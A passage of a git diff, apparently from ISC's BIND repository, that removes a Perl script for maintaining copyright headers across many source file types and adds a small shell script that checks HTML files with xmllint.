-	return "$a";
-}
-
-my $ret = 0;
-
-foreach $file (keys %file_types) {
-	$typeandowner = $file_types{$file};
-	$years_list = $file_years{$file};
-
-        if ( ! -f $file ) {
-		print "$file: missing\n";
-		$ret++;
-                next;
-        }
-	# print "Doing: $file";
-
-        if ($years_list =~ /PARENT:/) {
-		getyears($years_list);
-		if (!defined $years_list) {
-			print "$file: has bad parent $parent\n";
-			$ret++;
-			next;
-		}
-	}
-
-	# copyright notice is now generated from the source.
-	next if ($years_list eq "DOCBOOK");
-
-	if ($years_list eq "DOCBOOK") {
-		docbook($file);
-		if (!defined $years_list) {
-			print "$file: has bad parent $parent\n";
-			$ret++;
-			next;
-		}
-	}
-
-        @years = split(/,/, $years_list);
-
-        my ($type, $owner) = split(/\./, $typeandowner);
-        $owner = "" if !defined $owner;
-
-        $textp = $owner2text{$owner};
-        if (!defined $textp) {
-                print "$file: unknown copyright owner $owner\n";
-		$ret++;
-                next;
-        }
-
-	if ($file eq "./CHANGES" || $file eq "./EXCLUDED" ||
-	    $file eq "./CHANGES.SE")
-	{
-		open(SOURCE, "<$file") || die "can't open $file: $!";
-		my $body = "";
-		while (<SOURCE>) {
-		# Process leading white space.
-		# Remove 1-7 spaces followed by a tab into a single
-		# tab if at start of line or proceeded by tabs.
-		s/^(\t*) {1,7}\t/$1\t/ while (/^\t* {1,7}\t/);
-		s/^(\s{0,3}\d*\.)\s(\[\w{1,5}\])\s+(\S+)/$1\t$2\t\t$3/;
-		s/^(\s{0,3}\d*\.)\s(\[\w{6,}\])\s+(\S+)/$1\t$2\t$3/;
-		# Convert 8 spaces into tabs if at start of line
-		# or preceded by tabs.
-		s/^(\t*)        /$1\t/ while (/^\t*        /);
-		# Remove trailing white space.
-		s/[ \t]*$//;
-			$body = "$body$_";
-		}
-		$_ = $body;
-		open(TARGET, ">$file.new") || die "can't open $file.new: $!";
-		print TARGET $_;
-		close(TARGET);
-		close(SOURCE);
-		if (system("cmp -s $file.new $file") == 0) {
-			unlink("$file.new");
-		} else {
-			rename("$file.new", "$file")
-			  or die "rename($file.new, $file): $!";
-		}
-	}
-
-        next if $type eq "X" or $type eq "BAT";
-
-        $before_copyright = "";
-        $c_comment = 0;
-        $shell_comment = 0;
-        $m4_comment = 0;
-        $sgml_comment = 0;
-        $mkd_comment = 0;
-        $man_comment = 0;
-	$rst_comment = 0;
-        $python_comment = 0;
-        $python_bin_comment = 0;
-        $start_comment = "";
-        $end_comment = "";
-        $first = "";
-        if ($type =~ /^(C|YACC)$/) {
-                $c_comment = 1;
-                $start_comment = "/*\n";
-                $prefix = " * ";
-                $end_comment = " */\n";
-        } elsif ($type =~ /^(SH|PERL|TCL|MAKE|CONF-SH|RNC)$/) {
-                $shell_comment = 1;
-		$prefix = "# ";
-        } elsif ($type =~ /^PYTHON-BIN$/) {
-                $python_bin_comment = 1;
-                $start_comment = "############################################################################\n";
-                $prefix = "# ";
-		$end_comment = "############################################################################\n"
-        } elsif ($type =~ /^PYTHON$/) {
-                $python_comment = 1;
-                $start_comment = "############################################################################\n";
-                $prefix = "# ";
-		$end_comment = "############################################################################\n"
-        } elsif ($type eq "MAN") {
-                $man_comment = 1;
-                $prefix = ".\\\" ";
-        } elsif ($type eq "M4") {
-                $m4_comment = 1;
-                $prefix = "dnl ";
-        } elsif ($type eq "HTML" || $type eq "SGML") {
-                $sgml_comment = 1;
-                $start_comment = "<!--\n";
-                $prefix = " - ";
-                $end_comment = "-->\n";
-        } elsif ($type eq "MKD") {
-                $mkd_comment = 1;
-                $start_comment = "<!--\n";
-                $prefix = " - ";
-                $end_comment = "-->";
-        } elsif ($type eq "TXT") {
-		$prefix = "";
-	} elsif ($type eq "RST") {
-		$rst_comment = 1;
-		$start_comment = ".. \n";
-		$prefix = "   ";
-		$end_comment = "";
-        } else {
-                print "$file: type '$type' not supported yet; skipping\n";
-		$ret++;
-                next;
-        }
-
-        ($nonspaceprefix = $prefix) =~ s/\s+$//;
-
-        open(SOURCE, "<:crlf", $file) || die "can't open $file: $!";
-        $_ = <SOURCE>;
-        if ($type eq "YACC") {
-                unless ($_ eq "%{\n") {
-                        print "$file: unexpected yacc file start ",
-                              "(expected \"%{\\n\")\n";
-                        close(SOURCE);
-			$ret++;
-                        next;
-                }
-                $before_copyright = "$_";
-                $_ = <SOURCE>;
-        }
-        if ($c_comment && /^\/\*/) {
-                $_ = <SOURCE>;
-                if ($_ !~ /[Cc]opyright/) {
-                        print "$file: non-copyright comment\n";
-                        close(SOURCE);
-			$ret++;
-                        next;
-                }
-                if ($_ !~ /\*\//) {
-                        while (<SOURCE>) {
-                                last if $_ =~ /\*\//;
-                        }
-                }
-        } elsif ($shell_comment) {
-                if (/^\#\!/) {
-                        $before_copyright = "$_#\n";
-                        $_ = <SOURCE>;
-                        $_ = <SOURCE> if $_ eq "#\n";
-                }
-                if (/^\#/) {
-                        if ($_ !~ /[Cc]opyright/) {
-                                print "$file: non-copyright comment\n";
-                                close(SOURCE);
-				$ret++;
-                                next;
-                        }
-                        while (<SOURCE>) {
-                                if ($_ !~ /^\#/) {
-                                        $first = $_;
-                                        last;
-                                }
-                        }
-                } else {
-                        $first = $_;
-                }
-        } elsif ($python_comment || $python_bin_comment) {
-                if ($python_bin_comment && /^\#\!/) {
-                        $before_copyright = "$_";
-                        $_ = <SOURCE>;
-                        $_ = <SOURCE> if $_ eq "#\n";
-                        $_ = <SOURCE> if $_ eq "############################################################################\n";
-                } elsif ($python_comment && /^\#/) {
-                        $_ = <SOURCE> if $_ eq "#\n";
-                        $_ = <SOURCE> if $_ eq "############################################################################\n";
-                }
-                if (/^\#/) {
-                        if ($_ !~ /[Cc]opyright/) {
-                                print "$file: non-copyright comment\n";
-                                close(SOURCE);
-				$ret++;
-                                next;
-                        }
-                        while (<SOURCE>) {
-                                if ($_ !~ /^\#/) {
-                                        $first = $_;
-                                        last;
-                                }
-                        }
-                } else {
-                        $first = $_;
-                }
-        } elsif (($m4_comment || $man_comment) &&
-                 /^\Q$nonspaceprefix\E/) {
-
-                while (/^\Q$nonspaceprefix\E\s*$/) {
-                        $_ = <SOURCE>;
-                }
-
-                if ($_ !~ /[Cc]opyright/) {
-                        print "$file: non-copyright comment\n";
-                        close(SOURCE);
-			$ret++;
-                        next;
-                }
-                while (<SOURCE>) {
-                        if ($_ !~ /^\Q$nonspaceprefix\E/ ||
-                            $_ =~ /$keyword_pat/) {
-                                $first = $_;
-                                last;
-                        }
-                }
-        } elsif ($sgml_comment) {
-		$before_copyright = "";
-                while (/^<!DOCTYPE/ || /^<!ENTITY/ || /^<\?xml-stylesheet/ || /^<\?xml /) {
-			# print "SGML: $_";
-			$before_copyright = "$before_copyright$_";
-			if (/\]>$/ ) {
-				$_ = <SOURCE>;
-				close(SOURCE) if (eof(SOURCE));
-				next;
-			}
-			if (/^<!DOCTYPE.*\[$/) {
-				while (!eof(SOURCE)) {
-					$_ = <SOURCE>;
- 					next if (eof(SOURCE));
-					$before_copyright =
-						 "$before_copyright$_";
-					if (/]>$/) {
-						$_ = <SOURCE>;
-						last;
-					}
-				}
-				close(SOURCE) if (eof(SOURCE));
-				next;
-			}
-			if (/>$/ ) {
-				$_ = <SOURCE>;
-				close(SOURCE) if (eof(SOURCE));
-				next;
-			}
-			$_ = <SOURCE>;
-			while (!eof(SOURCE) && ! /^<!/ ) {
-				$before_copyright = "$before_copyright$_";
-				$_ = <SOURCE>;
-			}
-			if (eof(SOURCE)) {
-				close(SOURCE);
-				next;
-			}
-                }
-                if (/^<!--/) {
-                        $_ = <SOURCE> if $_ eq "<!--\n";
-                        if ($_ !~ /[Cc]opyright/) {
-                                print "$file: non-copyright comment\n";
-                                close(SOURCE);
-				$ret++;
-                                next;
-                        }
-                        while (defined($_)) {
-                                last if s/.*-->//;
-                                $_ = <SOURCE>;
-                        }
-                        print "$file: unterminated comment\n"
-                          unless defined($_);
-                        if ($_ ne "\n") {
-                                $first = $_;
-                        } else {
-                                $first = <SOURCE>;
-                        }
-                } else {
-                        $first = $_;
-                }
-        } elsif ($mkd_comment) {
-		$before_copyright = "";
-                if (/^<!/) {
-                        $_ = <SOURCE> if $_ eq "<!--\n";
-                        if ($_ !~ /[Cc]opyright/) {
-                                print "$file: non-copyright comment\n";
-                                close(SOURCE);
-				$ret++;
-                                next;
-                        }
-                        while (defined($_)) {
-                                last if s/.*-->//;
-                                $_ = <SOURCE>;
-                        }
-                        print "$file: unterminated comment\n"
-                          unless defined($_);
-                        if ($_ ne "\n") {
-                                $first = $_;
-                        } else {
-                                $first = <SOURCE>;
-                        }
-                } else {
-                        $first = $_;
-                }
-        } elsif ($rst_comment) {
-		if ($_ =~ /\.\. \n/) {
-			$_ = <SOURCE>;
-			if ($_ !~ /[Cc]opyright/) {
-				print "$file: non-copyright comment\n";
-				close(SOURCE);
-				$ret++;
-				next;
-			}
-			while (<SOURCE>) {
-				if ($_ !~ /^   /) {
-					last;
-				}
-			}
-		}
-		$first = $_;
-        } elsif ($type eq "TXT") {
-                if ($_ =~ /[Cc]opyright/) {
-                        $/ = "";            # paragraph at a time
-                        while (<SOURCE>) {
-                                # Not very maintainable, but ok enough for now.
-				last if /Portions of this code/;
-                                last unless
-                                  /[Cc]opyright/ ||
-				  /This Source Code Form is subject to the terms of the Mozilla Public/ ||
-				  /If a copy of the MPL was not distributed with this/ ||
-				  /You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\// ||
-                                  /See COPYRIGHT in the source root/ ||
-                                  /Permission to use, copy, modify, and / ||
-                                  /THE SOFTWARE IS PROVIDED "AS IS" AND /;
-                        }
-                        $/ = "\n";
-                }
-                $first = $_;
-        } else {
-                $first = $_;
-        }
-
-        $first = "" if ! defined($first);
-
-        open(TARGET, ">$file.new") || die "can't open $file.new: $!";
-        print TARGET $before_copyright if $before_copyright;
-        print TARGET $start_comment if $start_comment;
-
-        $sysyears = "";
-        $nomyears = "";
-
-	#
-	# Nominum: up to 2001.
-	#
-        $last_year = 0;
-        $anchor_year = 0;
-	$years = "";
-        foreach $year (@years) {
-		if ($year >= 2002) { next; }
-                if ($last_year != 0 && $year == $last_year + 1) {
-                        if ($year > $anchor_year + 1) {
-                                substr($years, $anchor_end) = "-$year";
-                        } else {
-                                $years .= ", $year";
-                        }
-                } else {
-                        $years .= $last_year == 0 ? "$year" : ", $year";
-                        $anchor_year = $year;
-                        $anchor_end = length($years);
-                }
-
-                $last_year = $year;
-        }
-	$nomyears = $years;
-
-        $last_year = 0;
-        $anchor_year = 0;
-	$years = "";
-	$anchor_end = length($years);
-	my $andor = 0;
-	my $noid = 0;
-        foreach $year (@years) {
-		$andor = 1 if ($year >= 2007);
-		$noid = 1 if ($year > 2012 || ($year == 2012 && $this_month >= 5) );
-                if ($last_year != 0 && $year == $last_year + 1) {
-                        if ($year > $anchor_year + 1) {
-                                substr($years, $anchor_end) = "-$year";
-                        } else {
-                                $years .= ", $year";
-                        }
-                } else {
-                        $years .= $last_year == 0 ? "$year" : ", $year";
-                        #if ($anchor_year != 0) {
-                        #        print "$file: noncontiguous year: ",
-                        #              "$year != $last_year + 1\n";
-                        #}
-                        $anchor_year = $year;
-                        $anchor_end = length($years);
-                }
-
-                $last_year = $year;
-        }
-	$sysyears = $years;
-
-	# make a copy
-        @lines = @$textp;
-
-        foreach $_ (@lines) {
-		next if (/\@SYSYEARS\@/ && $sysyears eq "");
-		s:modify, and distribute:modify, and/or distribute: if ($andor);
-		if ($type eq "RST") {
-			print TARGET $prefix;
-		} else {
-			print TARGET (/^$/ ? $nonspaceprefix : $prefix);
-		}
-		s/\@SYSYEARS\@/$sysyears/;
-		s/\@NOMYEARS\@/$nomyears/;
-                print TARGET "$_";
-        }
-        print TARGET $end_comment if $end_comment;
-
-        if ($first eq "") {
-                $first = <SOURCE>;
-        }
-
-        if (defined($first)) {
-          	if ($type eq 'MAN') {
-                	print TARGET "$nonspaceprefix\n";
-		} else {
-	                print TARGET "\n";
-                }
-
-		if (($type eq "C") &&
-		    $sysyears =~ /$this_year/) {
-			my $body = "";
-			while (<SOURCE>) {
-			# Process leading white space.
-			# Remove 1-7 spaces followed by a tab into a single
-			# tab if at start of line or proceeded by tabs.
-			# s/^(\t*) {1,7}\t/$1\t/ while (/^\t* {1,7}\t/);
-			# Convert 8 spaces into tabs if at start of line
-			# or preceded by tabs.
-			# s/^(\t*) {8}/$1\t/ while (/^\t* {8}/);
-			# Remove trailing white space.
-			s/[ \t]*$//;
-				$body = "$body$_";
-			}
-			$_ = $body;
-		} elsif (($type eq "SGML" || $type eq "HTML" ||
-			  $type eq "MAKE") &&
-		         $sysyears =~ /$this_year/) {
-			my $body = "";
-			while (<SOURCE>) {
-			# Remove trailing white space.
-			s/[ \t]*$//;
-				$body = "$body$_";
-			}
-			$_ = $body;
-		} else {
-			undef $/;
-			$_ = <SOURCE>;
-			$/ = "\n";
-		}
-
-		if ($type eq 'SGML' && m:<articleinfo>.*?</articleinfo>:s) {
-			# print "docinfo: $file\n";
-			my $r = copyrights(@years);
-			s:<articleinfo>.*?</articleinfo>:<articleinfo>\n$r  </articleinfo>:s;
-		}
-		if ($type eq 'SGML' && m:<docinfo>.*?</docinfo>:s) {
-			# print "docinfo: $file\n";
-			my $r = copyrights(@years);
-			s:<docinfo>.*?</docinfo>:<docinfo>\n$r  </docinfo>:s;
-		}
-		if ($type eq 'SGML' && m:<bookinfo>.*?</bookinfo>:s) {
-			# print "bookinfo: $file\n";
-			my $r = copyrights(@years);
-			$r .= "    <xi:include href=\"releaseinfo.xml\"/>\n";
-			s:<bookinfo>.*?</bookinfo>:<bookinfo>\n$r  </bookinfo>:s;
-		}
-		if ($type eq 'SGML' && m:<!-- insert copyright start -->.*?<!-- insert copyright end -->:s) {
-			my $r = copyrights(@years);
-			s:<!-- insert copyright start -->.*?<!-- insert copyright end -->:<!-- insert copyright start -->\n$r    <!-- insert copyright end -->:s;
-		}
-
-                my ($start, $end);
-		if ($type =~ /^PYTHON(|-BIN)$/) {
-                        ($start = $prefix) =~ s/\s*\n//;
-			$end = "\n";
-                } elsif ($start_comment ne "") {
-                        ($start = $start_comment) =~ s/\s*\n/ /;
-                        ($end = $end_comment) =~ s/^\s*(.*)\n/ $1\n/;
-                } elsif ($prefix ne "") {
-                        ($start = $prefix) =~ s/\s*\n//;
-                        $end = "\n";
-                } else {
-                        $start = "";
-                        $end = "\n";
-                }
-
-                if (!$noid && $first !~ /$keyword_pat/ && 
-		    (!defined($_) || $_ !~ /$keyword_pat/)) {
-			$end = "\n$nonspaceprefix" if ($type eq "MAN");
-                        print TARGET "$start\$";
-                        print TARGET "Id";
-                        print TARGET "\$$end\n";
-                }
-
-                print TARGET $first if $first !~ /^\s*$/;
-                print TARGET $_ if (defined($_));
-        }
-        close(TARGET);
-        close(SOURCE);
-
-        $mode = (stat $file)[2]&511;
-        chmod $mode, "$file.new";
-
-        if (system("cmp -s $file.new $file") == 0) {
-                unlink("$file.new");
-        } else {
-                rename("$file.new", "$file")
-                  or die "rename($file.new, $file): $!";
-        }
-}
-
-exit $ret;
diff --git a/util/xmllint-html.sh b/util/xmllint-html.sh
new file mode 100644
index 0000000000..574e038eef
--- /dev/null
+++ b/util/xmllint-html.sh
@@ -0,0 +1,23 @@
+#!/bin/sh -f
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+files=`git ls-files '*.html'`
+if test -n "$files"
+then
+	xmllint --noout --nonet --html $files 2>&1 |
+	awk 'BEGIN { status = 0; }
+	     # suppress HTML 5 <section> tag errors
+	     /HTML parser error : Tag section invalid/ { getline; getline; next; }
+	     { print; status = 1; }
+	     END { exit status }'
+fi